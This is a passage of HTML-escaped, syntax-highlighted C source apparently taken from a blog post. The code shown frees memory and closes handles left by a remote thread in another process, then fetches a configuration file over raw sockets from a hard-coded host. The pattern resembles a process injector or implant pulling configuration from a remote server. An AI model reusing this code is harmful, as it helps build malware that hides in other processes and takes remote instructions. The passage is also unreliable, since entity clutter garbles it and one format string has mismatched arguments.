sp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;VirtualFreeEx(&amp;nbsp;hProcess,&amp;nbsp;remote_agrument,&amp;nbsp;sizeof&amp;nbsp;(Arguments),&amp;nbsp;MEM_RELEASE);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L"VirtualFreeEx&amp;nbsp;for&amp;nbsp;remote_agrument.\n"&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#endif&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&amp;nbsp;NULL&amp;nbsp;!=&amp;nbsp;remote_thread&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(&amp;nbsp;remote_thread&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L"CloseHandle&amp;nbsp;for&amp;nbsp;remote_thread.\n"&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#endif&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&amp;nbsp;NULL&amp;nbsp;!=&amp;nbsp;hProcess&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(&amp;nbsp;hProcess&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L"CloseHandle&amp;nbsp;for&amp;nbsp;hProcess.\n"&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#endif&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;GetConfig(&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmp[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSAData&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsa;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;sockaddr_in&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sin;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;sin,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;sockaddr_in)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;WSAStartup(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0x0202&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;wsa&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(&amp;nbsp;tmp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(tmp)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;WSAStartup&amp;nbsp;error:&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;goto&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;getconfig_error;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;hostent&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;phost&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;gethostbyname(&amp;nbsp;CONFIG_HOST&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;phost&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(&amp;nbsp;tmp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(tmp)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Resolv&amp;nbsp;config&amp;nbsp;host&amp;nbsp;name&amp;nbsp;error:&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSACleanup(&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;goto&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;getconfig_error;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memcpy(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;sin.sin_addr&amp;nbsp;,&amp;nbsp;phost&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;h_addr_list[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;,&amp;nbsp;phost&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;h_length&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sin.sin_family&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;AF_INET;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sin.sin_port&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;htons(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;80&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(&amp;nbsp;tmp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(tmp)&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;ip[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MULTI_TO_WIDE(&amp;nbsp;ip,&amp;nbsp;inet_ntoa(&amp;nbsp;sin.sin_addr&amp;nbsp;));&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Resolv&amp;nbsp;config&amp;nbsp;host&amp;nbsp;name&amp;nbsp;ok:&amp;nbsp;%s\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,ip&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SOCKET&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sock&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;socket(&amp;nbsp;AF_INET&amp;nbsp;,&amp;nbsp;SOCK_STREAM&amp;nbsp;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;sock&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;INVALID_SOCKET&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(&amp;nbsp;tmp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(tmp)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Connect&amp;nbsp;to&amp;nbsp;%s:%s&amp;nbsp;error:&amp;nbsp;\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;ip,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;80&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSACleanup(&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;goto&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;getconfig_error;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ret&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;connect(&amp;nbsp;sock,&amp;nbsp;(&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;sockaddr&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;sin,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;sockaddr_in)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;SOCKET_ERROR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ret&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(&amp;nbsp;tmp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(tmp)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Connect&amp;nbsp;error:&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;closesocket(&amp;nbsp;sock&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSACleanup(&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;goto&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;getconfig_error;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;send_buff[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;512&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sprintf(&amp;nbsp;send_buff,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;GET&amp;nbsp;%s&amp;nbsp;HTTP/1.1\r\nHost:&amp;nbsp;%s\r\nAccept:&amp;nbsp;*/*\r\n\r\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;CONFIG_PATH,&amp;nbsp;CONFIG_HOST&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(&amp;nbsp;tmp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: 